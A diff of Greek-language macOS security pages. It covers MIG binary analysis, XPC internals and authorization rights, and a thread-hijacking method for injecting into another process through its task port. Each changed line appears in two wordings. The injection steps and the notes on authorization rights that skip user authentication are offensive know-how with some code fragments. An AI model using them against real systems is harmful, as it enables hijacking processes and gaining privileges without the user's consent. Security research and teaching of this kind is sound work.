Το NDR_record εξάγεται από το `libsystem_kernel.dylib`, και είναι μια δομή που επιτρέπει στο MIG να **μετασχηματίζει δεδομένα ώστε να είναι ανεξάρτητα από το σύστημα** στο οποίο χρησιμοποιείται, καθώς το MIG σχεδιάστηκε για να χρησιμοποιείται μεταξύ διαφορετικών συστημάτων (και όχι μόνο στην ίδια μηχανή).
|
||||
Το NDR_record εξάγεται από το `libsystem_kernel.dylib` και είναι μια δομή που επιτρέπει στο MIG να **μετασχηματίζει δεδομένα ώστε να είναι ανεξάρτητα από το σύστημα** στο οποίο χρησιμοποιείται, καθώς το MIG σχεδιάστηκε για να χρησιμοποιείται μεταξύ διαφορετικών συστημάτων (και όχι μόνο στην ίδια μηχανή).
|
||||
|
||||
Αυτό είναι ενδιαφέρον γιατί αν το `_NDR_record` βρεθεί σε ένα δυαδικό αρχείο ως εξάρτηση (`jtool2 -S <binary> | grep NDR` ή `nm`), σημαίνει ότι το δυαδικό αρχείο είναι πελάτης ή διακομιστής MIG.
|
||||
Αυτό είναι ενδιαφέρον γιατί αν βρεθεί το `_NDR_record` σε ένα δυαδικό αρχείο ως εξάρτηση (`jtool2 -S <binary> | grep NDR` ή `nm`), σημαίνει ότι το δυαδικό αρχείο είναι πελάτης ή διακομιστής MIG.
|
||||
|
||||
Επιπλέον, οι **διακομιστές MIG** έχουν τον πίνακα διανομής στο `__DATA.__const` (ή στο `__CONST.__constdata` στον πυρήνα macOS και `__DATA_CONST.__const` σε άλλους πυρήνες \*OS). Αυτό μπορεί να αποθηκευτεί με **`jtool2`**.
|
||||
|
||||
Και οι **πελάτες MIG** θα χρησιμοποιήσουν το `__NDR_record` για να στείλουν με `__mach_msg` στους διακομιστές.
|
||||
|
||||
## Ανάλυση Δυαδικών
|
||||
## Ανάλυση Δυαδικών Αρχείων
|
||||
|
||||
### jtool
|
||||
|
||||
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν τώρα το MIG για να εκθέσουν mach ports, είναι ενδιαφέρον να γνωρίζουμε πώς να **αναγνωρίσουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε ID μηνύματος.
|
||||
Καθώς πολλά δυαδικά αρχεία χρησιμοποιούν τώρα το MIG για να εκθέσουν mach ports, είναι ενδιαφέρον να γνωρίζουμε πώς να **εντοπίσουμε ότι χρησιμοποιήθηκε το MIG** και τις **λειτουργίες που εκτελεί το MIG** με κάθε ID μηνύματος.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύσει πληροφορίες MIG από ένα δυαδικό Mach-O υποδεικνύοντας το ID μηνύματος και αναγνωρίζοντας τη λειτουργία που πρέπει να εκτελεστεί:
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) μπορεί να αναλύσει πληροφορίες MIG από ένα Mach-O δυαδικό αρχείο υποδεικνύοντας το ID μηνύματος και προσδιορίζοντας τη λειτουργία που πρέπει να εκτελεστεί:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Επιπλέον, οι λειτουργίες MIG είναι απλώς περιτυλίγματα της πραγματικής λειτουργίας που καλείται, πράγμα που σημαίνει ότι αν αποκτήσετε την αποσυναρμολόγησή της και κάνετε grep για BL, μπορεί να είστε σε θέση να βρείτε την πραγματική λειτουργία που καλείται:
|
||||
Επιπλέον, οι λειτουργίες MIG είναι απλώς περιτυλίγματα της πραγματικής λειτουργίας που καλείται, που σημαίνει ότι αν αποκτήσετε την αποσυναρμολόγησή της και κάνετε grep για BL, μπορεί να είστε σε θέση να βρείτε την πραγματική λειτουργία που καλείται:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep BL
|
||||
```
|
||||
### Assembly
|
||||
|
||||
Αναφέρθηκε προηγουμένως ότι η συνάρτηση που θα φροντίσει για **την κλήση της σωστής συνάρτησης ανάλογα με το αναγνωριστικό μηνύματος που έχει ληφθεί** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (χωρίς ονόματα συναρτήσεων), οπότε είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυμπιεσμένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της συνάρτησης είναι ανεξάρτητος από τις εκτεθειμένες συναρτήσεις):
|
||||
Αναφέρθηκε προηγουμένως ότι η συνάρτηση που θα φροντίσει για **την κλήση της σωστής συνάρτησης ανάλογα με το αναγνωριστικό μηνύματος που ελήφθη** ήταν η `myipc_server`. Ωστόσο, συνήθως δεν θα έχετε τα σύμβολα του δυαδικού (χωρίς ονόματα συναρτήσεων), οπότε είναι ενδιαφέρον να **ελέγξετε πώς φαίνεται αποσυμπιεσμένο** καθώς θα είναι πάντα πολύ παρόμοιο (ο κώδικας αυτής της συνάρτησης είναι ανεξάρτητος από τις εκτεθειμένες συναρτήσεις):
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="myipc_server decompiled 1"}}
|
||||
@ -365,7 +365,7 @@ return r0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Στην πραγματικότητα, αν πάτε στη συνάρτηση **`0x100004000`** θα βρείτε τον πίνακα των **`routine_descriptor`** δομών. Το πρώτο στοιχείο της δομής είναι η **διεύθυνση** όπου είναι υλοποιημένη η **συνάρτηση**, και η **δομή καταλαμβάνει 0x28 bytes**, οπότε κάθε 0x28 bytes (ξεκινώντας από το byte 0) μπορείτε να πάρετε 8 bytes και αυτό θα είναι η **διεύθυνση της συνάρτησης** που θα κληθεί:
|
||||
Στην πραγματικότητα, αν πάτε στη συνάρτηση **`0x100004000`** θα βρείτε τον πίνακα των **`routine_descriptor`** δομών. Το πρώτο στοιχείο της δομής είναι η **διεύθυνση** όπου η **συνάρτηση** είναι υλοποιημένη, και η **δομή καταλαμβάνει 0x28 bytes**, οπότε κάθε 0x28 bytes (ξεκινώντας από το byte 0) μπορείτε να πάρετε 8 bytes και αυτό θα είναι η **διεύθυνση της συνάρτησης** που θα κληθεί:
|
||||
|
||||
<figure><img src="../../../../images/image (35).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -9,31 +9,31 @@
|
||||
|
||||
## 1. Thread Hijacking
|
||||
|
||||
Αρχικά, η συνάρτηση **`task_threads()`** καλείται στην θύρα εργασίας για να αποκτήσει μια λίστα νημάτων από την απομακρυσμένη εργασία. Ένα νήμα επιλέγεται για hijacking. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους έγχυσης κώδικα καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας μείωσης που μπλοκάρει το `thread_create_running()`.
|
||||
Αρχικά, η συνάρτηση **`task_threads()`** καλείται στην θύρα εργασίας για να αποκτήσει μια λίστα νημάτων από την απομακρυσμένη εργασία. Ένα νήμα επιλέγεται για κατάληψη. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους έγχυσης κώδικα, καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας μείωσης που μπλοκάρει το `thread_create_running()`.
|
||||
|
||||
Για να ελεγχθεί το νήμα, καλείται το **`thread_suspend()`**, σταματώντας την εκτέλεσή του.
|
||||
Για να ελεγχθεί το νήμα, καλείται η **`thread_suspend()`**, σταματώντας την εκτέλεσή του.
|
||||
|
||||
Οι μόνοι επιτρεπόμενοι χειρισμοί στο απομακρυσμένο νήμα περιλαμβάνουν **σταμάτημα** και **εκκίνηση** αυτού, **ανάκτηση** και **τροποποίηση** των τιμών των καταχωρητών του. Οι απομακρυσμένες κλήσεις συναρτήσεων ξεκινούν με την ρύθμιση των καταχωρητών `x0` έως `x7` στις **παραμέτρους**, ρυθμίζοντας το **`pc`** για να στοχεύσει τη επιθυμητή συνάρτηση και ενεργοποιώντας το νήμα. Η διασφάλιση ότι το νήμα δεν θα καταρρεύσει μετά την επιστροφή απαιτεί ανίχνευση της επιστροφής.
|
||||
|
||||
Μια στρατηγική περιλαμβάνει **καταχώρηση ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας το `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, στέλνοντας ένα μήνυμα στην θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple_fetch του Ian Beer, το `lr` ρυθμίζεται να επαναλαμβάνεται άπειρα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι το **`pc` να δείχνει σε αυτή την εντολή**.
|
||||
Μια στρατηγική περιλαμβάνει **καταχώρηση ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας το `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, στέλνοντας ένα μήνυμα στη θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple_fetch του Ian Beer, ο `lr` ρυθμίζεται να επαναλαμβάνεται άπειρα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι το **`pc` να δείχνει σε αυτή την εντολή**.
|
||||
|
||||
## 2. Mach ports for communication
|
||||
|
||||
Η επόμενη φάση περιλαμβάνει την εγκαθίδρυση Mach ports για να διευκολύνει την επικοινωνία με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι καθοριστικές για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ των εργασιών.
|
||||
Η επόμενη φάση περιλαμβάνει τη δημιουργία Mach ports για να διευκολύνει την επικοινωνία με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι καθοριστικές για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ των εργασιών.
|
||||
|
||||
Για αμφίδρομη επικοινωνία, δημιουργούνται δύο δικαιώματα λήψης Mach: ένα στην τοπική και ένα στην απομακρυσμένη εργασία. Στη συνέχεια, ένα δικαίωμα αποστολής για κάθε θύρα μεταφέρεται στην αντίστοιχη εργασία, επιτρέποντας την ανταλλαγή μηνυμάτων.
|
||||
|
||||
Εστιάζοντας στην τοπική θύρα, το δικαίωμα λήψης κατέχεται από την τοπική εργασία. Η θύρα δημιουργείται με το `mach_port_allocate()`. Η πρόκληση έγκειται στη μεταφορά ενός δικαιώματος αποστολής σε αυτή τη θύρα στην απομακρυσμένη εργασία.
|
||||
|
||||
Μια στρατηγική περιλαμβάνει την εκμετάλλευση του `thread_set_special_port()` για να τοποθετήσει ένα δικαίωμα αποστολής στην τοπική θύρα στην `THREAD_KERNEL_PORT` του απομακρυσμένου νήματος. Στη συνέχεια, το απομακρυσμένο νήμα καθοδηγείται να καλέσει το `mach_thread_self()` για να ανακτήσει το δικαίωμα αποστολής.
|
||||
Μια στρατηγική περιλαμβάνει την εκμετάλλευση του `thread_set_special_port()` για να τοποθετήσει ένα δικαίωμα αποστολής στη τοπική θύρα στην `THREAD_KERNEL_PORT` του απομακρυσμένου νήματος. Στη συνέχεια, το απομακρυσμένο νήμα καθοδηγείται να καλέσει το `mach_thread_self()` για να ανακτήσει το δικαίωμα αποστολής.
|
||||
|
||||
Για την απομακρυσμένη θύρα, η διαδικασία είναι ουσιαστικά αντίστροφη. Το απομακρυσμένο νήμα καθοδηγείται να δημιουργήσει μια θύρα Mach μέσω του `mach_reply_port()` (καθώς το `mach_port_allocate()` δεν είναι κατάλληλο λόγω του μηχανισμού επιστροφής του). Μετά τη δημιουργία της θύρας, καλείται το `mach_port_insert_right()` στο απομακρυσμένο νήμα για να καθιερώσει ένα δικαίωμα αποστολής. Αυτό το δικαίωμα αποθηκεύεται στη μνήμη του πυρήνα χρησιμοποιώντας το `thread_set_special_port()`. Επιστρέφοντας στην τοπική εργασία, χρησιμοποιείται το `thread_get_special_port()` στο απομακρυσμένο νήμα για να αποκτήσει ένα δικαίωμα αποστολής στη νεοδημιουργημένη θύρα Mach στην απομακρυσμένη εργασία.
|
||||
|
||||
Η ολοκλήρωση αυτών των βημάτων έχει ως αποτέλεσμα την εγκαθίδρυση Mach ports, θέτοντας τα θεμέλια για αμφίδρομη επικοινωνία.
|
||||
Η ολοκλήρωση αυτών των βημάτων έχει ως αποτέλεσμα τη δημιουργία Mach ports, θέτοντας τα θεμέλια για αμφίδρομη επικοινωνία.
|
||||
|
||||
## 3. Basic Memory Read/Write Primitives
|
||||
|
||||
Σε αυτή την ενότητα, η εστίαση είναι στη χρήση του εκτελέσιμου πρωτοκόλλου για την εγκαθίδρυση βασικών πρωτοκόλλων ανάγνωσης και εγγραφής μνήμης. Αυτά τα αρχικά βήματα είναι κρίσιμα για την απόκτηση περισσότερου ελέγχου πάνω στη απομακρυσμένη διαδικασία, αν και τα πρωτόκολλα σε αυτό το στάδιο δεν θα εξυπηρετήσουν πολλούς σκοπούς. Σύντομα, θα αναβαθμιστούν σε πιο προηγμένες εκδόσεις.
|
||||
Σε αυτή την ενότητα, η εστίαση είναι στη χρήση του εκτελέσιμου πρωτοκόλλου για την καθιέρωση βασικών πρωτοκόλλων ανάγνωσης και εγγραφής μνήμης. Αυτά τα αρχικά βήματα είναι κρίσιμα για την απόκτηση περισσότερου ελέγχου πάνω στη απομακρυσμένη διαδικασία, αν και τα πρωτόκολλα σε αυτό το στάδιο δεν θα εξυπηρετήσουν πολλούς σκοπούς. Σύντομα, θα αναβαθμιστούν σε πιο προηγμένες εκδόσεις.
|
||||
|
||||
### Memory Reading and Writing Using Execute Primitive
|
||||
|
||||
@ -86,7 +86,7 @@ _xpc_int64_set_value(address - 0x18, value)
|
||||
|
||||
## 4. Ρύθμιση Κοινής Μνήμης
|
||||
|
||||
Ο στόχος είναι να καθιερωθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά επιχειρήματα. Η προσέγγιση περιλαμβάνει την αξιοποίηση του `libxpc` και του τύπου αντικειμένου `OS_xpc_shmem`, ο οποίος βασίζεται σε καταχωρίσεις μνήμης Mach.
|
||||
Ο στόχος είναι να καθιερωθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά επιχειρήματα. Η προσέγγιση περιλαμβάνει την εκμετάλλευση του `libxpc` και του τύπου αντικειμένου `OS_xpc_shmem`, ο οποίος βασίζεται σε καταχωρίσεις μνήμης Mach.
|
||||
|
||||
### Επισκόπηση Διαδικασίας:
|
||||
|
||||
@ -103,7 +103,7 @@ _xpc_int64_set_value(address - 0x18, value)
|
||||
3. **Διόρθωση της Καταχώρισης Μνήμης Mach**:
|
||||
|
||||
- Χρησιμοποιήστε τη μέθοδο `thread_set_special_port()` για να εισάγετε ένα δικαίωμα αποστολής για την καταχώριση μνήμης Mach στην απομακρυσμένη εργασία.
|
||||
- Διορθώστε το πεδίο καταχώρισης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της απομακρυσμένης καταχώρισης μνήμης.
|
||||
- Διορθώστε το πεδίο καταχώρισης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της καταχώρισης μνήμης απομακρυσμένης.
|
||||
|
||||
4. **Ολοκλήρωση Ρύθμισης Κοινής Μνήμης**:
|
||||
- Επικυρώστε το απομακρυσμένο αντικείμενο `OS_xpc_shmem`.
|
||||
@ -149,8 +149,8 @@ thread_set_special_port(); // for inserting send right
|
||||
|
||||
## Σημαντικές Σκέψεις:
|
||||
|
||||
- Διασφαλίστε τη σωστή χρήση του `memcpy()` για λειτουργίες ανάγνωσης/εγγραφής μνήμης για να διατηρήσετε τη σταθερότητα του συστήματος και την ακεραιότητα των δεδομένων.
|
||||
- Κατά τη μεταφορά Mach ports ή περιγραφέων αρχείων, ακολουθήστε τους σωστούς πρωτοκόλλους και χειριστείτε τους πόρους υπεύθυνα για να αποτρέψετε διαρροές ή μη προγραμματισμένη πρόσβαση.
|
||||
- Διασφαλίστε τη σωστή χρήση του `memcpy()` για τις λειτουργίες ανάγνωσης/εγγραφής μνήμης για να διατηρήσετε τη σταθερότητα του συστήματος και την ακεραιότητα των δεδομένων.
|
||||
- Όταν μεταφέρετε Mach ports ή περιγραφείς αρχείων, ακολουθήστε τους σωστούς πρωτοκόλλους και χειριστείτε τους πόρους υπεύθυνα για να αποτρέψετε διαρροές ή μη προγραμματισμένη πρόσβαση.
|
||||
|
||||
Ακολουθώντας αυτές τις οδηγίες και χρησιμοποιώντας τη βιβλιοθήκη `threadexec`, μπορεί κανείς να διαχειριστεί και να αλληλεπιδράσει με διαδικασίες σε λεπτομερές επίπεδο, επιτυγχάνοντας πλήρη έλεγχο της στοχευμένης διαδικασίας.
|
||||
|
||||
|
||||
@ -68,12 +68,12 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
- **`xpc_object_t`**
|
||||
|
||||
Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους τύπους δεδομένων, επομένως είναι δυνατό να διασφαλιστεί ότι τα ληφθέντα δεδομένα είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\
|
||||
Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους τύπους δεδομένων, οπότε είναι δυνατό να διασφαλιστεί ότι τα ληφθέντα δεδομένα είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\
|
||||
Επιπλέον, η συνάρτηση `xpc_copy_description(object)` μπορεί να χρησιμοποιηθεί για να αποκτήσει μια συμβολοσειρά αναπαράστασης του αντικειμένου που μπορεί να είναι χρήσιμη για σκοπούς αποσφαλμάτωσης.\
|
||||
Αυτά τα αντικείμενα έχουν επίσης μερικές μεθόδους που μπορούν να κληθούν όπως `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
Αυτά τα αντικείμενα έχουν επίσης κάποιες μεθόδους που μπορούν να κληθούν όπως `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
|
||||
Τα `xpc_object_t` δημιουργούνται καλώντας τη συνάρτηση `xpc_<objetType>_create`, η οποία εσωτερικά καλεί το `_xpc_base_create(Class, Size)` όπου υποδεικνύεται ο τύπος της κλάσης του αντικειμένου (ένας από τους `XPC_TYPE_*`) και το μέγεθός του (κάποια επιπλέον 40B θα προστεθούν στο μέγεθος για μεταδεδομένα). Αυτό σημαίνει ότι τα δεδομένα του αντικειμένου θα ξεκινούν από την απόσταση 40B.\
|
||||
Επομένως, το `xpc_<objectType>_t` είναι κάπως υποκλάση του `xpc_object_t`, το οποίο θα ήταν υποκλάση του `os_object_t*`.
|
||||
Επομένως, το `xpc_<objectType>_t` είναι κάπως μια υποκλάση του `xpc_object_t`, η οποία θα ήταν μια υποκλάση του `os_object_t*`.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι θα πρέπει να είναι ο προγραμματιστής που χρησιμοποιεί `xpc_dictionary_[get/set]_<objectType>` για να αποκτήσει ή να ορίσει τον τύπο και την πραγματική τιμή ενός κλειδιού.
|
||||
@ -83,9 +83,9 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
Ένα **`xpc_pipe`** είναι ένας σωλήνας FIFO που οι διαδικασίες μπορούν να χρησιμοποιήσουν για να επικοινωνήσουν (η επικοινωνία χρησιμοποιεί μηνύματα Mach).\
|
||||
Είναι δυνατό να δημιουργηθεί ένας XPC server καλώντας `xpc_pipe_create()` ή `xpc_pipe_create_from_port()` για να τον δημιουργήσει χρησιμοποιώντας μια συγκεκριμένη θύρα Mach. Στη συνέχεια, για να λάβει μηνύματα, είναι δυνατό να καλέσει `xpc_pipe_receive` και `xpc_pipe_try_receive`.
|
||||
|
||||
Σημειώστε ότι το αντικείμενο **`xpc_pipe`** είναι ένα **`xpc_object_t`** με πληροφορίες στη δομή του σχετικά με τις δύο θύρες Mach που χρησιμοποιούνται και το όνομα (αν υπάρχει). Το όνομα, για παράδειγμα, ο δαίμονας `secinitd` στην plist του `/System/Library/LaunchDaemons/com.apple.secinitd.plist` ρυθμίζει τον σωλήνα που ονομάζεται `com.apple.secinitd`.
|
||||
Σημειώστε ότι το αντικείμενο **`xpc_pipe`** είναι ένα **`xpc_object_t`** με πληροφορίες στη δομή του σχετικά με τις δύο θύρες Mach που χρησιμοποιούνται και το όνομα (αν υπάρχει). Το όνομα, για παράδειγμα, ο daemon `secinitd` στο plist του `/System/Library/LaunchDaemons/com.apple.secinitd.plist` ρυθμίζει τον σωλήνα που ονομάζεται `com.apple.secinitd`.
|
||||
|
||||
Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pip**e που δημιουργείται από **`launchd`** καθιστώντας δυνατή την κοινή χρήση θύρων Mach.
|
||||
Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pip**e που δημιουργείται από τον **`launchd`** καθιστώντας δυνατή την κοινή χρήση θύρων Mach.
|
||||
|
||||
- **`NSXPC*`**
|
||||
|
||||
@ -103,7 +103,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
### Εκκίνηση μιας Υπηρεσίας
|
||||
|
||||
Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας `xpc_connection_create_mach_service`, στη συνέχεια, ο launchd εντοπίζει τον δαίμονα και εκκινεί το **`xpcproxy`**. Το **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τις παρεχόμενες FDs και θύρες Mach.
|
||||
Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας `xpc_connection_create_mach_service`, στη συνέχεια ο launchd εντοπίζει τον daemon και εκκινεί τον **`xpcproxy`**. Ο **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τις παρεχόμενες FDs και θύρες Mach.
|
||||
|
||||
Για να βελτιωθεί η ταχύτητα αναζήτησης της υπηρεσίας XPC, χρησιμοποιείται μια κρυφή μνήμη.
|
||||
|
||||
@ -111,7 +111,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
```bash
|
||||
supraudit S -C -o /tmp/output /dev/auditpipe
|
||||
```
|
||||
Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, οπότε είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\
|
||||
Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, επομένως είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\
|
||||
Το εργαλείο `xpcproxy` χρησιμοποιεί το πρόθεμα `0x22`, για παράδειγμα: `0x2200001c: xpcproxy:will_do_preexec`.
|
||||
|
||||
## XPC Event Messages
|
||||
@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
## XPC Authorization
|
||||
|
||||
Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, ώστε αν η καλούσα διαδικασία τα έχει, να είναι **επιτρεπτό να καλέσει μια μέθοδο** από την υπηρεσία XPC:
|
||||
Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, έτσι ώστε αν η καλούσα διαδικασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την υπηρεσία XPC:
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc-authorization.md
|
||||
@ -446,7 +446,7 @@ return;
|
||||
|
||||
Μόλις χρησιμοποιηθεί το connect και συγκεντρωθεί το socket `fd` της υπηρεσίας, είναι δυνατή η χρήση της κλάσης `remote_xpc_connection_*`.
|
||||
|
||||
Είναι δυνατή η απόκτηση πληροφοριών σχετικά με τις απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` με παραμέτρους όπως:
|
||||
Είναι δυνατή η απόκτηση πληροφοριών σχετικά με τις απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` χρησιμοποιώντας παραμέτρους όπως:
|
||||
```bash
|
||||
/usr/libexec/remotectl list # Get bridge devices
|
||||
/usr/libexec/remotectl show ...# Get device properties and services
|
||||
|
||||
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επιθεώρηση:
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επαλήθευση:
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc-connecting-process-check/
|
||||
@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
### Δικαιώματα εφαρμογής
|
||||
|
||||
Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που συμβαίνει όταν καλείται μια μέθοδος από το HelperTool**.
|
||||
Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που εκτελείται όταν καλείται μια μέθοδος από το HelperTool**.
|
||||
|
||||
Η συνάρτηση **`applicationDidFinishLaunching`** από το `App/AppDelegate.m` θα δημιουργήσει μια κενή αναφορά εξουσιοδότησης μετά την εκκίνηση της εφαρμογής. Αυτό θα πρέπει πάντα να λειτουργεί.\
|
||||
Στη συνέχεια, θα προσπαθήσει να **προσθέσει κάποια δικαιώματα** σε αυτήν την αναφορά εξουσιοδότησης καλώντας το `setupAuthorizationRights`:
|
||||
@ -62,7 +62,7 @@ if (self->_authRef) {
|
||||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ακόμη στη βάση δεδομένων:
|
||||
Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ακόμα στη βάση δεδομένων:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
@ -249,14 +249,14 @@ security authorizationdb read com.apple.safaridriver.allow
|
||||
Μπορείτε να βρείτε **όλες τις ρυθμίσεις αδειών** [**εδώ**](https://www.dssw.co.uk/reference/authorization-rights/), αλλά οι συνδυασμοί που δεν θα απαιτούν αλληλεπίδραση από τον χρήστη θα είναι:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
- Αυτό είναι το πιο άμεσο κλειδί. Αν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα.
|
||||
- Αυτό είναι το πιο άμεσο κλειδί. Εάν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα.
|
||||
- Χρησιμοποιείται σε **συνδυασμό με ένα από τα 2 παρακάτω ή υποδεικνύοντας μια ομάδα** στην οποία πρέπει να ανήκει ο χρήστης.
|
||||
2. **'allow-root': 'true'**
|
||||
